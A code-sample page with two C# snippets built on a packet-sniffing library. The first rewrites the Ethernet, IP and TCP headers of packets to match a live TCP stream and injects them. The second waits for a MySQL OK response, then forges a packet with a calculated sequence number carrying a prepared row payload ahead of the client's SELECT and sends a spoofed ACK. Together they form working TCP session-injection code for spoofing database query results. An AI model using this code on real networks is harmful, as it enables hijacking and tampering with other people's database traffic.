示例#1
0
        void Inject(NetworkSniffer sniffer, TcpStream stream, Packet[] packets)
        {
            WriteInfo("Injecting packets");

            foreach (EthernetPacket p in packets)
            {
                // Override ethernet
                p.DestinationHwAddress = stream.DestinationHwAddress;
                p.SourceHwAddress      = stream.SourceHwAddress;
                p.UpdateCalculatedValues();

                IpPacket ip = (IpPacket)p.PayloadPacket;
                ip.SourceAddress      = stream.Source.Address;
                ip.DestinationAddress = stream.Destination.Address;
                ip.UpdateCalculatedValues();

                if (ip.Protocol != IPProtocolType.TCP)
                {
                    continue;
                }

                TcpPacket tcp = (TcpPacket)ip.PayloadPacket;
                tcp.SourcePort      = (ushort)stream.Source.Port;
                tcp.DestinationPort = (ushort)stream.Destination.Port;
                tcp.UpdateCalculatedValues();

                // Send
                sniffer.Send(p);
            }
        }
示例#2
0
        static void Ns_OnPacket(object sender, IPProtocolType protocolType, EthernetPacket packet)
        {
            NetworkSniffer ns = (NetworkSniffer)sender;
            IPv4Packet     ip = (IPv4Packet)packet.PayloadPacket;
            TcpPacket      t  = (TcpPacket)ip.PayloadPacket;

            // Si el paquete recibido es el de respuesta OK del mysql
            if (t.PayloadData.SequenceEqual(ResponseOk))
            {
                Parent = packet;

                // Replicamos el paquete, enviando el payload de la fila, si, antes de recibir el SELECT
                LastSequenceId = (uint)(t.SequenceNumber + t.PayloadData.Length);
                ip.Id++;
                t.SequenceNumber = LastSequenceId;
                t.OptionsCollection.Clear();

                t.PayloadData = Payload;
                t.Ack         = true;
                t.Psh         = true;

                ip.UpdateCalculatedValues();
                t.UpdateCalculatedValues();

                ip.UpdateIPChecksum();
                t.UpdateTCPChecksum();

                ns.Send(packet);

                LastSequenceId = (uint)(t.SequenceNumber + t.PayloadData.Length);
                Console.WriteLine(t.ToString(StringOutputType.Verbose));
            }
            else
            {
                // Si el paquete contiene el valor SELECT
                string ascii = Encoding.ASCII.GetString(t.PayloadData);
                if (Parent != null && ascii.Contains("SELECT"))
                {
                    // Ya no actuamos mas
                    ns.OnPacket -= Ns_OnPacket;

                    ip = (IPv4Packet)Parent.PayloadPacket;
                    t  = (TcpPacket)ip.PayloadPacket;

                    // Enviamos un ACK del paquete recibido, para darle por bueno
                    t.SequenceNumber       = LastSequenceId;
                    t.AcknowledgmentNumber = t.AcknowledgmentNumber;
                    t.PayloadData          = new byte[] { };
                    ip.Id++;
                    t.Ack = true;
                    t.Psh = false;

                    ip.UpdateCalculatedValues();
                    t.UpdateCalculatedValues();

                    ip.UpdateIPChecksum();
                    t.UpdateTCPChecksum();

                    ns.Send(packet);
                    Console.WriteLine(t.ToString(StringOutputType.Verbose));
                }
            }
        }